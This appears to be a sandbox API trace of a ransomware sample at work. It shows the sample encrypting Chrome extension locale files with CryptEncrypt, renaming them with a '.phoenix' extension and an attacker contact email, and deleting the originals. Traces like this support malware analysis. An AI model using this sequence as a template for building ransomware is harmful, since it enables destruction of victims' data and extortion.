	[0261.572] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.572] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.572] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.572] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.573] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1516c0) returned 1
	[0261.573] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.573] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x13e, lpOverlapped=0x0) returned 1
	[0261.574] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x140, dwBufLen=0x140 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x140) returned 1
	[0261.574] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x140, lpOverlapped=0x0) returned 1
	[0261.604] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151480) returned 1
	[0261.604] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.604] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.604] CryptDestroyKey (hKey=0x151480) returned 1
	[0261.604] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.604] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0261.605] CloseHandle (hObject=0x2c0) returned 1
	[0261.605] CloseHandle (hObject=0x310) returned 1
	[0261.605] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hi\\messages.json")) returned 1
	[0261.606] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.606] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.607] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=187) returned 1
	[0261.607] CloseHandle (hObject=0x310) returned 1
	[0261.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json")) returned 0x20
	[0261.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.607] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.607] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.608] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1516c0) returned 1
	[0261.608] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.608] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xbb, lpOverlapped=0x0) returned 1
	[0261.609] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0261.609] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0261.611] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0261.611] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.611] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.611] CryptDestroyKey (hKey=0x151740) returned 1
	[0261.611] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.611] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0261.611] CloseHandle (hObject=0x310) returned 1
	[0261.611] CloseHandle (hObject=0x2c0) returned 1
	[0261.611] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json")) returned 1
	[0261.612] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.612] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.613] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=178) returned 1
	[0261.613] CloseHandle (hObject=0x2c0) returned 1
	[0261.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json")) returned 0x20
	[0261.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.614] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.614] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.615] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0261.615] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.615] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb2, lpOverlapped=0x0) returned 1
	[0261.623] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0261.623] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0261.624] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151080) returned 1
	[0261.624] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.624] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.624] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.624] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.625] CryptDestroyKey (hKey=0x151040) returned 1
	[0261.625] CloseHandle (hObject=0x2c0) returned 1
	[0261.625] CloseHandle (hObject=0x310) returned 1
	[0261.625] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json")) returned 1
	[0261.626] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.626] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.626] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=182) returned 1
	[0261.626] CloseHandle (hObject=0x310) returned 1
	[0261.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json")) returned 0x20
	[0261.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.627] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.627] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.627] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.627] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.628] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151740) returned 1
	[0261.628] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.628] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb6, lpOverlapped=0x0) returned 1
	[0261.629] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0261.629] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0261.630] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151480) returned 1
	[0261.630] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.630] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.630] CryptDestroyKey (hKey=0x151480) returned 1
	[0261.630] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.630] CryptDestroyKey (hKey=0x151740) returned 1
	[0261.630] CloseHandle (hObject=0x310) returned 1
	[0261.630] CloseHandle (hObject=0x2c0) returned 1
	[0261.630] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json")) returned 1
	[0261.631] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.632] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=362) returned 1
	[0261.632] CloseHandle (hObject=0x2c0) returned 1
	[0261.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json")) returned 0x20
	[0261.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.632] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.632] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.632] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.632] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.633] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0261.633] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.633] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x16a, lpOverlapped=0x0) returned 1
	[0261.634] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x170, dwBufLen=0x170 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x170) returned 1
	[0261.634] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x170, lpOverlapped=0x0) returned 1
